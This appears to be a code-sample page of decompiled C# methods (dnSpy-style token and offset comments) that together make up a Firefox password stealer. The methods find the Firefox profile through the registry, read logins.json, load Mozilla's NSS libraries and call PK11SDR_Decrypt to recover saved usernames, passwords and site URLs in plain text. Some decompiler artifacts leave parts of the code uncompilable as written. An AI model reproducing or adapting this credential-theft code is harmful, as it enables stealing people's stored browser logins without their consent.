Пример #1
0
        // Token: 0x060000F6 RID: 246 RVA: 0x00009C8C File Offset: 0x00007E8C
        public static List <PassData> Initialise()
        {
            List <PassData> result;

            try
            {
                Console.WriteLine(Firefox.GetFirefoxInstallPath().FullName);
                FileInfo file = Mozilla.GetFile(Firefox.GetProfilePath(), "logins.json");
                if (file.FullName == "C:\\")
                {
                    result = null;
                }
                else
                {
                    object           arg_58_0     = new Mozilla.JsonData();
                    MemoryStream     memoryStream = new MemoryStream(Encoding.UTF8.GetBytes(File.ReadAllText(file.FullName)));
                    Mozilla.JsonData arg_73_0     = new DataContractJsonSerializer(arg_58_0.GetType()).ReadObject(memoryStream) as Mozilla.JsonData;
                    memoryStream.Close();
                    IEnumerable <Mozilla.LoginData>    arg_97_0 = arg_73_0.logins;
                    Func <Mozilla.LoginData, PassData> arg_97_1;
                    if ((arg_97_1 = Mozilla.< > c.< > 9__0_0) == null)
                    {
                        arg_97_1 = (Mozilla.< > c.< > 9__0_0 = new Func <Mozilla.LoginData, PassData>(Mozilla.< > c.< > 9. < Initialise > b__0_0));
                    }
                    result = arg_97_0.Select(arg_97_1).ToList <PassData>();
                }
            }
            catch (Exception arg)
            {
                Console.WriteLine("Mozilla : " + arg);
                result = null;
            }
            return(result);
        }
Пример #2
0
 // Token: 0x060000FE RID: 254 RVA: 0x00002E6F File Offset: 0x0000106F
 static Firefox()
 {
     if (!Firefox.isFirefoxInstalled)
     {
         return;
     }
     Firefox.firefoxPath        = Firefox.GetFirefoxInstallPath().FullName;
     Firefox.firefoxProfilePath = Firefox.GetProfilePath().FullName;
 }
Пример #3
0
 // Token: 0x060000FD RID: 253 RVA: 0x00009DB4 File Offset: 0x00007FB4
 internal PassData <Initialise> b__0_0(Mozilla.LoginData data)
 {
     return(new PassData
     {
         Login = Firefox.Decrypt(data.encryptedUsername),
         Password = Firefox.Decrypt(data.encryptedPassword),
         Program = "Mozilla Firefox",
         Url = data.formSubmitURL.Replace("https://", "").Replace("http://", "") + "/"
     });
 }
Пример #4
0
 // Token: 0x06000105 RID: 261 RVA: 0x0000A0AC File Offset: 0x000082AC
 private static void InitializeNssLibrary(string firefoxPath, string firefoxProfilePath)
 {
     Firefox.SetDllDirectory(firefoxPath);
     Firefox.LoadLibrary("nssdbm3.dll");
     Firefox.LoadLibrary("softokn3.dll");
     Firefox.LoadLibrary("mozglue.dll");
     Firefox.LoadLibrary("nssckbi.dll");
     Firefox.nssModule = Firefox.LoadLibrary("nss3.dll");
     Firefox.SetDllDirectory(null);
     Firefox.NSS_Init(firefoxProfilePath);
 }
Пример #5
0
        // Token: 0x06000102 RID: 258 RVA: 0x00009FB0 File Offset: 0x000081B0
        public static DirectoryInfo GetFirefoxInstallPath()
        {
            RegistryKey registryKey = Firefox.InternalCheckIsWow64() ? Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Mozilla\\Mozilla Firefox") : Registry.LocalMachine.OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox");

            string[] subKeyNames = registryKey.GetSubKeyNames();
            if (subKeyNames.Length == 0)
            {
                return(null);
            }
            return(new DirectoryInfo(Firefox.firefoxPath = registryKey.OpenSubKey(subKeyNames[0]).OpenSubKey("Main").GetValue("Install Directory").ToString()));
        }
Пример #6
0
        // Token: 0x06000104 RID: 260 RVA: 0x0000A024 File Offset: 0x00008224
        public static bool InternalCheckIsWow64()
        {
            if ((Environment.OSVersion.Version.Major != 5 || Environment.OSVersion.Version.Minor < 1) && Environment.OSVersion.Version.Major < 6)
            {
                return(false);
            }
            bool result;

            using (Process currentProcess = Process.GetCurrentProcess())
            {
                bool flag;
                result = (Firefox.IsWow64Process(currentProcess.Handle, out flag) & flag);
            }
            return(result);
        }
Пример #7
0
        // Token: 0x06000100 RID: 256 RVA: 0x00009E28 File Offset: 0x00008028
        public static string Decrypt(string cipherText)
        {
            string result;

            try
            {
                if (Firefox.firefoxPath != null)
                {
                    if (Firefox.firefoxProfilePath != null)
                    {
                        Firefox.InitializeNssLibrary(Firefox.firefoxPath, Firefox.firefoxProfilePath);
                        StringBuilder stringBuilder = new StringBuilder(cipherText);
                        Console.WriteLine(Firefox.PK11_Autheticate(Firefox.PK11_GetInternalKeySlot(), true, 0));
                        TSECItem tSECItem  = default(TSECItem);
                        TSECItem tSECItem2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(Firefox.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length)), typeof(TSECItem));
                        Firefox.PK11SDR_Decrypt(ref tSECItem2, ref tSECItem, 0);
                        byte[] array = new byte[tSECItem.SECItemLen];
                        Marshal.Copy(new IntPtr(tSECItem.SECItemData), array, 0, tSECItem.SECItemLen);
                        result = Encoding.UTF8.GetString(array);
                    }
                    else
                    {
                        result = null;
                    }
                }
                else
                {
                    result = null;
                }
            }
            catch (Exception arg)
            {
                Console.WriteLine("Mozilla : " + arg);
                result = null;
            }
            return(result);
        }
Пример #8
0
 // Token: 0x0600010A RID: 266 RVA: 0x00002F53 File Offset: 0x00001153
 private static long PK11_Autheticate(long slot, bool loadCerts, int cx)
 {
     return(((Firefox.PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(Firefox.GetProcAddress(Firefox.nssModule, "PK11_Authenticate"), typeof(Firefox.PK11_AuthenticatePtr)))(slot, loadCerts, cx));
 }
Пример #9
0
 // Token: 0x06000109 RID: 265 RVA: 0x00002F25 File Offset: 0x00001125
 private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
 {
     return(((Firefox.NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(Firefox.GetProcAddress(Firefox.nssModule, "NSSBase64_DecodeBuffer"), typeof(Firefox.NSSBase64_DecodeBufferPtr)))(arenaOpt, outItemOpt, inStr, inLen));
 }
Пример #10
0
 // Token: 0x06000108 RID: 264 RVA: 0x00002EF7 File Offset: 0x000010F7
 private static void PK11SDR_Decrypt(ref TSECItem input, ref TSECItem output, int cx)
 {
     ((Firefox.PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(Firefox.GetProcAddress(Firefox.nssModule, "PK11SDR_Decrypt"), typeof(Firefox.PK11SDR_DecryptPtr)))(ref input, ref output, cx);
 }
Пример #11
0
 // Token: 0x06000107 RID: 263 RVA: 0x00002ECD File Offset: 0x000010CD
 private static long PK11_GetInternalKeySlot()
 {
     return(((Firefox.PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(Firefox.GetProcAddress(Firefox.nssModule, "PK11_GetInternalKeySlot"), typeof(Firefox.PK11_GetInternalKeySlotPtr)))());
 }
Пример #12
0
 // Token: 0x06000106 RID: 262 RVA: 0x00002EA1 File Offset: 0x000010A1
 private static void NSS_Init(string configdir)
 {
     ((Firefox.NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(Firefox.GetProcAddress(Firefox.nssModule, "NSS_Init"), typeof(Firefox.NSS_InitPtr)))(configdir);
 }